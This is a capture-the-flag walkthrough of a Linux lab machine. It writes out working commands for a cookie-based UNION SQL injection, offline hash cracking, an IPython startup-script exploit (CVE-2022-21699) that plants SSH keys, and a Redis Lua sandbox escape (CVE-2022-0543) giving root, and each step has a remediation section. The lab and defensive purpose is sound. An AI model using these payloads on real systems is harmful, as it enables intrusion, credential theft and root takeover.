← all walkthroughs

Shared

Linux· Medium· Web
owned
2026-09-05
time to own
35m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a UNION-based SQL injection in the 'custom_cart' cookie of the checkout.shared.htb e-commerce site to dump the application's user table, then cracked a weakly-hashed password offline to obtain valid SSH credentials for james_mason. From that foothold, a group-writable directory combined with a vulnerable IPython installation (CVE-2022-21699) let me plant a malicious startup script that ran as dan_smith under a scheduled job, granting SSH access via a planted key and the user flag.

As dan_smith, a root:sysadmin-owned binary was found to embed a plaintext Redis password in its strings; using it against a root-owned, Lua-scripting-enabled Redis instance, I exploited the Debian Lua sandbox escape (CVE-2022-0543) to execute arbitrary commands as root, planting a root SSH key and reading root.txt for full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <your-public-key> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped the target and identified the checkout vhost
A port scan of $TARGET found SSH and two nginx web listeners (80/443). Adding the shared.htb and checkout.shared.htb virtual hosts to local DNS resolution revealed an e-commerce checkout application backed by MySQL and Redis.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.18.0, 443/tcp ssl/http nginx 1.18.0; stack identified as mysql, nginx, php, redis, ssh.
Exact commands 2
shell

Confirm open ports and service banners.

$ nmap -sV -p- $TARGET
shell

Add the discovered checkout vhost to local resolution.

$ echo "$TARGET shared.htb checkout.shared.htb" | sudo tee -a /etc/hosts
2Initial AccessSQL Injection via HTTP cookie parameter (CWE-89)
Exploited UNION-based SQL injection in the shopping cart cookie
The checkout app's server-side cart handler read a 'custom_cart' cookie (a URL-encoded JSON map of product id -> quantity) and concatenated the product-id key directly into a SQL query. Replacing the product id with a UNION SELECT payload inside the cookie value let me enumerate the database schema and dump the application's users table, recovering usernames and password hashes.
Custom_cart cookie's product-id key is the injection sink; UNION SELECT against information_schema.tables and users yielded james_mason's credential.
Exact commands 2
shell

URL-encoded UNION payload in the cart's product-id key enumerates table names.

$ curl -s http://checkout.shared.htb/cart -H "Cookie: custom_cart=%7B%22-1%27%20UNION%20SELECT%20group_concat(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase()--%20-%22%3A%221%22%7D"
shell

Same technique dumps username:password_hash pairs from the users table.

$ curl -s http://checkout.shared.htb/cart -H "Cookie: custom_cart=%7B%22-1%27%20UNION%20SELECT%20group_concat(username%2C0x3a%2Cpassword)%20FROM%20users--%20-%22%3A%221%22%7D"
FixEliminate SQL injection in the shopping-cart cookieCritical
WeaknessThe checkout application concatenated the product-id key from the client-supplied 'custom_cart' cookie directly into a server-side SQL query, letting an unauthorised user inject a UNION SELECT and dump the entire users table (usernames and password hashes) without authentication.
FixRewrite all cart-lookup queries to use parameterized statements/prepared queries (never string-build SQL from cookie or session data). Validate the custom_cart cookie against a strict JSON schema (numeric product ids only) before it reaches any query, and run a least-privilege DB account for the web app.
3Credential AccessOffline password cracking + credential reuse over SSH (T1110.002)
Cracked the dumped hash and logged in over SSH as james_mason
The password hash recovered via the SQLi was cracked offline using GPU-accelerated cracking, yielding the cleartext password for james_mason. That credential was valid for SSH, giving an initial low-privilege shell.
SSH password auth as james_mason succeeded; uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer).
Exact commands 2
shell

Offline crack of the dumped hash (adjust -m to the actual hash type, e.g. Sha256/md5).

$ hashcat -m 1400 -a 0 dumped_hash.txt rockyou.txt
shell

Verified foothold with the cracked credential.

$ sshpass -p "$PASSWORD7" ssh -o StrictHostKeyChecking=no james_mason@$TARGET 'id'
FixUse strong, salted password hashing and enforce a stronger password policyMedium
WeaknessThe password hash dumped from the users table was quickly recovered via offline GPU cracking, indicating a weak or fast hashing algorithm and/or an insufficiently complex password for the james_mason account.
FixStore all application passwords with a slow, salted key-derivation function (bcrypt, scrypt, or Argon2) at an adequate work factor, and enforce a strong password policy. Force a credential reset for any account whose hash may have been exposed.
4Lateral MovementCVE-2022-21699: IPython arbitrary code execution via untrusted startup directory
Abused a vulnerable IPython auto-load path to pivot to dan_smith
A scheduled job launched IPython 8.0.0 (vulnerable to CVE-2022-21699) as user dan_smith. IPython below 8.0.1 auto-executes any .py file under a 'profile_default/startup/' directory it finds relative to its working context, without checking file ownership. The me, using group-write access via the 'developer' group and the world-writable /dev/shm, planted a startup script that added my SSH public key to dan_smith's authorized_keys. When the scheduled ipython run fired at the next minute boundary, the script executed as dan_smith.
Pkill ipython forced /usr/local/bin/ipython to be relaunched as UID 1001 at the next minute boundary; the startup script planted in the profile directory ran as dan_smith and appended the generated public key to that account's authorized_keys; SSH on that key returned uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin).
Exact commands 4
shell

Generate a keypair to plant for dan_smith.

$ ssh-keygen -q -t ed25519 -N '' -f /tmp/conquest_dan_key
shell

Plant the startup payload; replace <DAN_PUBKEY> with the generated public key. Wait for the next scheduled ipython run as dan_smith to trigger it.

$ sshpass -p "$PASSWORD7" ssh james_mason@$TARGET 'rm -rf /dev/shm/profile_default; mkdir -p /dev/shm/profile_default/startup; chmod 777 /dev/shm/profile_default /dev/shm/profile_default/startup; printf "%s\n" "import os; os.system(\"mkdir -p /home/dan_smith/.ssh; echo <DAN_PUBKEY> > /home/dan_smith/.ssh/authorized_keys; chmod 700 /home/dan_smith/.ssh; chmod 600 /home/dan_smith/.ssh/authorized_keys\")" > /dev/shm/profile_default/startup/pwn.py'
shell

Confirm lateral movement worked.

$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
shell

Read the user flag; result is <user.txt>.

$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET cat /home/dan_smith/user.txt
FixPatch IPython and remove shared writable startup directoriesHigh
WeaknessA scheduled job ran IPython 8.0.0 (vulnerable to CVE-2022-21699) as dan_smith. IPython auto-executed .py files from a 'profile_default/startup/' directory without checking who owned them, and that directory (via group-writable /opt/scripts_review and world-writable /dev/shm) was reachable by a lower-privileged account, letting it run code as dan_smith.
FixUpgrade IPython to 8.0.1 or later. Ensure any scheduled/cron process runs with a profile directory owned and writable only by that same account, and remove world- or group-writable permissions from directories used by privileged scheduled jobs.
5Privilege Escalation (discovery)Credentials embedded in a compiled binary (CWE-798)
Recovered a Redis credential embedded in a sysadmin-only binary
Dan_smith's new 'sysadmin' group gave read access to a root-owned binary, /usr/local/bin/redis_connector_dev. Extracting printable strings from the binary revealed a plaintext Redis authentication password compiled directly into the program, alongside evidence of a local Redis instance on 127.0.0.1:6379.
-rwxr-x--- 1 root sysadmin /usr/local/bin/redis_connector_dev; strings extraction yielded Redis password; ss showed 127.0.0.1:6379 LISTEN.
Exact commands 2
shell

Locate sysadmin-group-readable files.

$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "find / -group sysadmin -type f -ls 2>/dev/null"
shell

Extract the embedded Redis credential and connection details.

$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "strings -a /usr/local/bin/redis_connector_dev | grep -Eia 'redis|pass|auth|127\.0\.0\.1|6379'"
FixRemove hardcoded Redis credential from the sysadmin binaryHigh
WeaknessThe compiled binary /usr/local/bin/redis_connector_dev (root:sysadmin, group-readable) embedded the Redis authentication password in plaintext, recoverable by any member of the sysadmin group with a simple strings extraction.
FixNever embed credentials in compiled binaries or scripts. Load the Redis password at runtime from a secrets manager or a config file restricted to the service account (mode 0600), and rotate the exposed password immediately.
6Privilege Escalation (root)CVE-2022-0543: Redis (Debian) Lua sandbox escape to RCE
Escaped the Redis Lua sandbox to execute commands as root
The local redis-server ran as root and, being the vulnerable Debian package build, permitted a Lua sandbox escape via EVAL: loading the system liblua5.1 library's io module through package.loadlib re-enabled io.popen(), giving arbitrary command execution in the context of the Redis process (root). This was used to confirm root and write an SSH key into /root/.ssh/authorized_keys before reading root.txt.
EVAL with package.loadlib(...,'luaopen_io') + io.popen('/usr/bin/id') returned uid=0(root) gid=0(root) groups=0(root); io.popen('cat /root/root.txt') returned the root flag.
Exact commands 4
shell

Confirm the exact liblua path to load.

$ ssh -i /tmp/conquest_dan_key dan_smith@$TARGET "find /usr/lib /lib -name 'liblua5.1.so*'"
shell

Run from the dan_smith SSH session; Lua sandbox escape confirms uid=0 before touching the flag.

$ redis-cli -h 127.0.0.1 -a "$PASSWORD" --raw EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("/usr/bin/id"); local out=f:read("*a"); f:close(); return out' 0
shell

Persist root access via an SSH key; replace <<your-public-key>>.

$ redis-cli -h 127.0.0.1 -a "$PASSWORD" EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("mkdir -p /root/.ssh; echo <<your-public-key>> > /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys"); f:close(); return 1' 0
shell

Read the root flag; result is <root.txt>.

$ redis-cli -h 127.0.0.1 -a "$PASSWORD" --raw EVAL 'local io_l=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io"); local io=io_l(); local f=io.popen("cat /root/root.txt"); local out=f:read("*a"); f:close(); return out' 0
FixPatch Redis and stop running it as root with unrestricted scriptingCritical
Weaknessredis-server ran as root (not a dedicated unprivileged account) and was built against a Debian liblua5.1 vulnerable to a Lua sandbox escape (CVE-2022-0543), so any caller who obtained the Redis auth password could use EVAL to reload the io library and execute arbitrary OS commands as root.
FixUpgrade to a patched Redis/Debian build that addresses CVE-2022-0543, or rebuild without the vulnerable dynamic liblua. Run redis-server under a dedicated unprivileged system account, bind it only to localhost, and disable or restrict scripting commands (EVAL/EVALSHA/FUNCTION) via ACLs or rename-command if Lua scripting is not required.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
443/tcp